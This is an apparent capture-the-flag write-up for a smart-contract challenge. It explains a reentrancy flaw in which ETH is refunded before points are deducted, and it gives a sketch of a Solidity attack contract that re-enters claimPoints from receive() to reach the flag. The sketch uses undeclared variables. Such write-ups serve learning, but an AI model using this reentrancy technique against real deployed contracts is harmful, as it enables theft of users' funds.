S2C4: Reentrancy + Payment #

1. Problem #

The contract requires: (1) the caller to pay a certain amount of ETH, and (2) specific points/level conditions to be met before minting the flag. The contract uses call{value: ...} for refunds.

2. Cause #

Similar to S1C5, the contract makes an external call (ETH transfer) before deducting points, leading to a reentrancy vulnerability. But this time, ETH also needs to be pre-deposited.

3. Solution #

1. Pre-fund the attack contract with sufficient ETH
2. The attack contract calls the challenge contract's payment function
3. Re-enter the key function in the receive() callback
4. Call mintFlag once conditions are met

contract S2C4Solution {
    constructor(address challenge) payable {
        // Pre-deposit ETH
        challenge.call{value: requiredEth}("");
    }

    function solve() external {
        challenge.claimPoints(); // Trigger reentrancy
        challenge.upgradeLevel();
        challenge.mintFlag();
    }

    receive() external payable {
        if (counter < TARGET) {
            counter++;
            challenge.claimPoints();
        }
    }
}

4. Pitfalls Encountered #

ETH Balance Management: The attack contract needs to be pre-funded with sufficient ETH, and adequate gas must be ensured during reentrancy.

5. Why the Pitfall Occurred #

The contract uses call{value: amount}("") to send ETH, which triggers the recipient's receive() function. If the refund amount is insufficient, subsequent logic may break.

6. How to Resolve #

Deploy the attack contract with sufficient ETH attached (using the --value flag or making the constructor payable).

7. Technical Takeaways #